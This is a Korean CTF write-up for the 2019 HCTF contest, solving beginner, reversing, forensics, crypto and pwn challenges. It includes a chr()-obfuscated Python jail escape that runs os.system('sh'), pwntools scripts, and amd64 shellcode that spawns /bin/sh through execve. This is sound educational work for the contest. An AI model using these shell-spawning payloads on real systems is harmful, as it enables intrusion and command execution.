2019 HCTF Writeup

Newbie

Sanity Check

Description에 FLAG가 있다.

FLAG : HCTF{flag_looks_like_this}


NetCat

주어진 netcat서버에 접속하면 FLAG를 뿜어준다.

FLAG : HCTF{net"Cat" is so cute}


Cultureland

파란색으로 덮힌 바코드를 그림판으로 복구해주면 된다. 어느정도 노가다 하다보니 인식됐다.

FLAG : HCTF{4180021737370713}


CryptoFile

예전에 seed값 이용해서 푸는 문제 풀었을 때 python2랑 python3랑 seed 설정하고 random 값이 다른거를 잊고 왜 안되나 했다. 계속 python2를 이용해서 random_string을 잘못 가져왔다. python3 사용한 random_string 넣고 푸니까 잘 decrypt 된다.

파일이 생성된 시간 2019:11:12 23:59:07+09:00의 time.time() 값은 1573570747 이다.

import random
import string
import time

def random_string(length):
    strs = string.ascii_letters + string.digits
    result = ""
    for _ in range(length):
        result += random.choice(strs)
    return result

seed = 1573570747
random.seed(seed)
key = random_string(32)
iv = random_string(16)
print(key) # FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63
print(iv) # 9DULbzZxWQSgNnZM

key랑 iv값은 구한 후 decrypt 함수에 파일 이름, key, iv 넣고 decrypt해주면 된다.

from Crypto.Cipher import AES
import random
import string
import time
import os

class CryptoFile:
    def encrypt(self, endswith, delete_file):
        for file_name in [i for i in os.listdir('./') if i.endswith(endswith)]:
            target_file = open(file_name, 'rb')
            result = open('CryptoFile-' + self.random_string(2) + '.' + self.random_string(12), 'wb') 
            seed = int(time.time())
            random.seed(seed)
            key = self.random_string(32)
            iv = self.random_string(16)
            result.write(AES.new(key, AES.MODE_CFB, iv).encrypt(target_file.read()))
            if delete_file:
                os.remove(file_name)

    def decrypt(self, file_name, key, iv):
        target_file = open(file_name, 'rb')
        result = open(file_name + ".result", 'wb')
        result.write(AES.new(key, AES.MODE_CFB, iv).decrypt(target_file.read()))

    def random_string(self, length):
        strs = string.ascii_letters + string.digits
        result = ""
        for _ in range(length):
            result += random.choice(strs)
        return result

if __name__ == '__main__':
    # CryptoFile().encrypt(('gg'), True)
    CryptoFile().decrypt('CryptoFile-Xp.NNRyUD7RQLVh','FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63','9DULbzZxWQSgNnZM')

.result파일의 확장자를 png로 바꾸고 이미지 열면 FLAG가 있다.

FLAG : HCTF{Se3d_T1mE_15_D4nG3rouS}


NonPrintable

입력 값하고 \xde\xed\xbe\xef 이 같으면 플래그 파일을 읽을 수 있다.

from pwn import *

p = remote('prob.hctf.icewall.org',10102)
p.sendlineafter('>> ','\xde\xed\xbe\xef')
p.interactive()

FLAG : HCTF{beef steak is delicious}


Python Jail

python -c 로 실행시켜주는데 exec , chr 이 안 막혀있어서 이를 이용해서 풀었다. 아래 페이로드 이용해서 풀었다.

a="__import__('os').system('sh')"
payload = 'exec(' + ''.join('chr('+str(ord(a[i]))+')+' for i in range(len(a)))[:-1] + ')'

FLAG : HCTF{getattr_is_very~~~~very~~~~nice!!}


Take It

힌트가 있길래 딱보면 robots.txt 이용해서 푸는거구나 생각하고 들어갔는데 HCTF-FLAG.txt이 있길래 http://www.nowtakeit.com/HCTF-FLAG.txt 들어갔는데 플래그가 있었다.

FLAG : HCTF{Congratulations_10000_Points_for_First_Solver!!}


Reversing

매우 복잡한 그래프이다. 자세히 보면 인덱스의 글자가 맞는지 아닌지 비교해주는 분기들이다. 인덱스의 값들을 잘 맞추면 된다.

a=[0]*46
a[23]=97;a[19]=74;a[9]=95;a[22]=95;a[6]=118;a[1]=67;a[26]=95;a[7]=101;a[3]=70
a[2]=84;a[8]=110;a[17]=101;a[44]=116;a[32]=97;a[24]=110;a[43]=105;a[14]=104;a[12]=99
a[10]=103;a[28]=111;a[35]=105;a[29]=117;a[31]=99;a[14]=104;a[12]=99;a[10]=103
a[38]=112;a[39]=101;a[34]=95;a[37]=115;a[25]=100;a[18]=95;a[45]=125;a[21]=84;a[40]=99
a[11]=99;a[16]=118;a[30]=95;a[41]=116;a[13]=95;a[4]=123;a[42]=95;a[5]=101
a[20]=73;a[15]=97;a[0]=72;a[33]=110;a[27]=121;a[36]=110
print ''.join(chr(i) for i in a)

FLAG : HCTF{even_gcc_have_JIT_and_you_can_inspect_it}

Forensic

Easy Forensic

Stegsolve 를 이용해서 Blue Plane 0 이미지 좌측에 보면 흰색, 검은색이 반복되며 나온다.

여기서 검은색은 0, 흰색은 1로 치환해줘서 2진수 값 가져와서 8비트씩 끊어서 문자열로 만들면 플래그가 된다.

from PIL import Image

img = Image.open('solved.png')
img = img.convert('RGB')
img_pix = img.load()
r,g,b = img_pix[0,0]
text = ''
black = (0,0,0)
white = (255,255,255)
for i in range(1):
	for j in range(img.height):
		if img_pix[i,j] == black:
			text += '0'
		elif img_pix[i,j] == white:
			text += '1'

b = '010010000100001101010100010001100111101101010111011010000110000101110100010111110100000101011111010100110110100101101101011100000110110001100101010111110101001101110100011001010110011101100001011011100110111101100111011100100110000101110000011010000111100101011111010100000111001001101111011000100110110001100101011011010010000101111101'
print ''.join(map(lambda x: chr(int(x, 2)), [b[i:i+8] for i in xrange(0, len(b),8)]))

FLAG : HCTF{What_A_Simple_Steganography_Problem!}


Normal Forensic

패킷 문제다. 주어진 패킷을 분석해보면 ruu.kr에서 SMTP 프로토콜로 통신을 했다.

220 ruu.kr ESMTP Postfix
HELO ruu.kr
250 ruu.kr
MAIL FROM:master@ruu.kr
250 2.1.0 Ok
RCPT TO:idontknow@ruu.kr
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: master@ruu.kr
To: idontknow@ruu.kr
Subject: Order
Date: Thu, 10 Oct 2019 23:11:21 +0900

OK...

The password is ITISNOTFLAG

Order file will transfer through secret channel...

Good Luck...

.
250 2.0.0 Ok: queued as C2A15240681
QUIT
221 2.0.0 Bye

다른 채널에 더 비밀스러운게 있다고 한다. 대충 쭉쭉 분석하다보니 ICMP 프로토콜로 통신한 부분을 볼 수 있다.

자세히 보니 ICMP Data 영역(마지막 제외 32바이트) 를 주고받은걸 볼 수 있다. 해당 ICMP Data영역에 해당하는 부분을 추출해주면 된다.

tshark -r packet.pcapng -Y 'icmp and ip.src==192.168.3.128' -T fields -e data

위 명령어 사용해서 가져오면 된다. 가져온 hex값을 hex decode해주고 base64로 decode해주면 7z파일이 나온다 앞에 dummy 부분만 제거하고 7z만 가져와서 아까 얻은 password (ITISNOTFLAG) 를 이용해서 풀어주면 ELF파일이 나오는데 이 ELF파일을 실행해주면 플래그가 나온다.

FLAG : HCTF{Now_You_Know_ICMP_Covert_Channel}

Crypto

Easy Crypto

DES key 취약점을 이용한 문제이다. 취약한 키 다 가져와서 DES decrypt Bruteforce해줬다.

from Crypto.Cipher import DES
import string
import re

f = open('flag.enc', 'rb')
ciphertext = f.read()
f.close()

parity = [ '0101010101010101', 'FEFEFEFEFEFEFEFE', 'E0E0E0E0F1F1F1F1', '1F1F1F1F0E0E0E0E' ]
noparity = [ '0000000000000000', 'FFFFFFFFFFFFFFFF', 'E1E1E1E1F0F0F0F0', '1E1E1E1E0F0F0F0F' ]

parity = [ i.decode('hex') for i in parity ]
noparity = [ i.decode('hex') for i in noparity ]

keylist = [parity, noparity]

IV = '87654321'
for key in keylist :
    for KEY in key :
        a = DES.new(KEY, DES.MODE_OFB, IV)
        plain = a.decrypt(ciphertext)
        print plain

FLAG : HCTF{It_is_So_Easy_Crypto_Problem_Right?}


Normal Crypto

Hastad’s Broadcast Attack 문제다.

#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *

p1 = random_prime(2 ** 512)
q1 = random_prime(2 ** 512)
n1 = p1*q1
c1 = pow(bytes_to_long(flag), 3, n1)

p2 = random_prime(2 ** 512) 
q2 = random_prime(2 ** 512)
n2 = p2*q2
c2 = pow(bytes_to_long(flag), 3, n2)

p3 = random_prime(2 ** 512)
q3 = random_prime(2 ** 512)
n3 = p3*q3
c3 = pow(bytes_to_long(flag), 3, n3)

'''
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953
'''

중국인의 나머지 정리(CRT; Chinese Remainder Theorem)를 이용해서 계산해주면 된다. 구글링하면 잘 나온다.

import gmpy

e = 3
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953

N = n1*n2*n3
N1 = N/n1
N2 = N/n2
N3 = N/n3
u1 = gmpy.invert(N1, n1)
u2 = gmpy.invert(N2, n2)
u3 = gmpy.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = gmpy.root(M,e)[0]

print hex(m)[2:].rstrip("L").decode("hex")

FLAG : HCTF{RSA_and_CRT_are_Very_VerY_vErY_EEEEEEasy_Hey_Fancy_You!}


Hard Crypto

Rabin 이라고 힌트를 준다.

#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *

p = random_prime(2 ** 512)
q = next_prime(p)
while( (p % 4 != 3) or (q % 4 != 3)):
  p = random_prime(2 ** 512)
  q = next_prime(p)

n = p*q
enc = pow(bytes_to_long(flag), 2, n)

'''
enc = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
'''

Fermat factorization 페르마소수를 이용해서 n을 소인수분해해서 p,q를 구해주면 된다.

#from Crypto.Util.number import long_to_bytes
# -*-coding:utf-8 -*-
from gmpy2 import *

def fermat_factor(n):
    assert n % 2 != 0
    
    a = isqrt(n)
    b2 = square(a) - n
    
    while not is_square(b2):
        a += 1
        b2 = square(a) - n
    p = a + isqrt(b2)
    q = a - isqrt(b2)
    
    return int(p), int(q)
    
n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
p, q = fermat_factor(n)
print("p :" + str(p))
print("q :" + str(q))
print("p/q :" +str(p/float(q)))

c = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = p*q 
ma = []

mp = pow(c,(p+1)//4,p)
mq = pow(c,(q+1)//4,q)
yp = invert(p,q)
yq = invert(q,p)

ma.append((yq*q*mp + yp*p*mq) % n)
ma.append((yq*q*mp - yp*p*mq) % n)
ma.append((-yq*q*mp + yp*p*mq) % n)
ma.append((-yq*q*mp - yp*p*mq) % n)

for m in ma:
    m = hex(m)[2:]
    if (len(m) %2 !=0 ):
        m = '0' + m
    print "M = " + m.decode("hex")

FLAG : HCTF{Rabin_Crypto_Algorithm_is_So_Beautiful_And_This_Problem_Requires_A_Really_Long_Flag_Length}


Pwn

Baby Shellcode

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rdx
  char *v4; // rsi
  int i; // [rsp+10h] [rbp-60h]
  char *area; // [rsp+18h] [rbp-58h]
  char initialize[49]; // [rsp+20h] [rbp-50h]
  unsigned __int64 v9; // [rsp+58h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  area = mmap(0LL, 0x1000uLL, 7, 0x22, 0xFFFFFFFF, 0LL);
  *initialize = 0x3148DB3148C03148LL;
  *&initialize[8] = 0x48F63148D23148C9LL;
  *&initialize[16] = 0xED3148E43148FF31LL;
  *&initialize[24] = 0x314DC9314DC0314DLL;
  *&initialize[32] = 0x4DE4314DDB314DD2LL;
  *&initialize[40] = 0xFF314DF6314DED31LL;
  initialize[48] = 0;
  v3 = strlen(initialize);
  memcpy(area, initialize, v3);
  v4 = &area[strlen(initialize)];
  read(0, v4, 1024uLL);
  for ( i = 0; i < strlen(initialize) + 1024; ++i )
  {
    if ( area[i] == 0xEBu )
    {
      puts("lol~");
      exit(0);
    }
  }
  (area)(initialize, v4);
  return 0;
}

shellcodeing 문제다.

mmap -> read -> execve

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./babyshellcode')
p = process('./babyshellcode')

# %rdi %rsi %rdx %r10 %r8 %r9
s = '''
mov rdi, 0x0
mov rsi, 0x1000
mov rdx, 0x7
mov r10, 0x22
mov r8, 0xFFFFFFFF
mov r9, 0x0
mov rax, 0x9
syscall

mov rsp, rax
add rsp, 0x1000

mov rdi, 0x0
mov rsi, rsp
mov rdx, 0x20
mov rax, 0
syscall

mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
'''

p.send(asm(s))

p.send('/bin/sh\x00')

p.interactive()

FLAG : HCTF{Simple_Shellcode_Problem_Is_So_CUTE!!!}


Web